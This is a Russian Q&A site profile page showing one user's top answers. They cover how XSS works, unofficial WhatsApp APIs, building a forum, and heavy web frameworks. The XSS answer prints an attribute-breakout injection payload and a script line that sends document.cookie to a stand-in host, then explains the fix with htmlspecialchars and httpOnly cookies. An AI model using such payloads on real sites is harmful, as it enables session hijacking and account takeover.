Задать вопрос
Пользователь пока ничего не рассказал о себе

Достижения

Все достижения (3)

Наибольший вклад в теги

Все теги (36)

Лучшие ответы пользователя

Все ответы (19)
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как отправить смс в WhatsApp?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    К сожалению, WhatsApp ведёт очень жёсткую политику по отношению к разработчикам, у него отсутствует публичный API и возможность отправки сообщений на номера, которые не находятся в ваших контактах. Однако, в сети существуют сервисы, которые предоставляют такой API, однако он не официальный, его использование несет в себе риск бана вашего аккаунта без возможности восстановления. К тому-же такая услуга не бесплатна ( на одном из сервисов, стоит 900р/мес. за 1 аккаунт ) и как правило, с лимитом на количество отправленных сообщений.

    Существует так называемое WhatsApp Business API которое доступно лишь "средним и крупным компаниям", заявка отправляется через Facebook, где её проверяют и выносят свой вердикт, по поводу допуска. Простым смертным и ИП-шникам оно не доступно. https://www.whatsapp.com/business/api

    Как отметил пользователь storm57, на GitHub можно найти несколько открытых проектов, которые предоставляют API для WhatsApp в виде библиотек и компонентов для различных языков программирования.
    Однако, использование такого способа, может сильно повысить риск бана аккаунта, даже по сравнению с платными сервисами, которые работают через WhatsApp WEB.

    Относительно безопасный и практически бесплатный способ: https://github.com/sigalor/whatsapp-web-reveng
    Библиотека, работающая на собственном сервере, с возможностью получения API и отправки сообщений.
    Когда-то хотел с ней "поиграться", если захотите, могу установить и настроить её для вас на вашем или моём сервере, мои контакты сверху под ником.
    Ответ написан
    2 комментария
  • Как создать ядро форума и начать продвигать его с нуля?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    Можно взять один из популярных движков форума IPB, BB Press, PHPBB, vBulletin. Хорошие шаблоны на них с точки зрения дизайна и СЕО, гуглятся на раз по запросам вида: скачать html5 тему для IPB бесплатно и т.д. Вместо IPB подставьте название вашего движка.
    Как уже отметил dimonchik2013 нужно пригласить на форум экспертов вашей тематики форума. Желательно публиковать время от времени уникальный контент, можно сливать хайды с других форумов и т.п. Можно создать закрытый раздел с Premium подпиской ( приватный раздел ), время от времени напоминайте своим пользователям об этом, подогревайте их интерес интересными постами и темами.
    Основная задача, сделать так, чтобы вы сами могли чётко ответить на вопрос: "А зачем пользователям нужен ваш форум?".
    Ответ написан
    Комментировать
  • Bullshit Web - чрезмерное загромождение сайтов десятками скриптов и модулей. Можно ли решить эту проблему?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    Изначально Web задумывался как набор страниц с гиперссылками. Прошло время, мир в целом начал постепенно деградировать, вместе с ним и интернет... Когда у большинства разработчиков появились мощные компьютеры и смартфоны, они задумались над тем, как-бы разгрузить сервер и перенести нагрузку на клиент а другим хотелось меньше работать и больше зарабатывать... Как-то так родилось понятие "web-приложение" коим и является львиная доля сайтов, они являются приложениями, которые выглядят как web-страницы...
    Можете смело говорить таким разработчикам в любых спорах по этому поводу, что тяжеловесные фреймворки и библиотеки, портят концепцию сети интернет. Какими-бы полезными они не были. Web, в текущем виде, НЕ предназначен для этого.
    Ответ написан
    1 комментарий
  • 1 августа WhatsApp объявил об открытии WhatsApp Business API. Кто-нибудь уже тестил? Пробовал подключать?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    Это то самое API которое доступно для компаний вроде Microsoft, Газпром, МТС? Если да, ну допустим пробовали и что? Простым смертным и ИП-шникам оно всё равно не доступно.
    WhatsApp Business API дает возможность средним и крупным компаниям общаться с клиентами по всему миру.

    Более того, насколько я знаю, там нельзя безнаказанно спамить рассылками даже своим клиентам, лимиты достаточно жесткие. Это помимо заключения договора и ожидания его рассмотрения и принятия предложения, менеджерами WhatsApp.
    Конечно, плюшки будут и кому-то полезные, однако дождётесь ли вы одобрения - неизвестно.
    Ссылка на страницу с полезной информацией: https://www.whatsapp.com/business/api
    Ссылка на страницу подачи заявления на доступ к API: https://www.facebook.com/business/m/whatsapp/busin...
    К тому-же, вероятно WhatsApp является частью либо дочерней компанией Facebook, просто так FB не стал-бы делать ссылку на себя. А у них, в последнее время требования ужесточились к своим публичным сервисам, насколько я знаю.

    Если это важно - вероятно могу заверить, скорее всего оно существует и работает :)
    Ответ написан
    Комментировать

Лучшие вопросы пользователя

Все вопросы (15)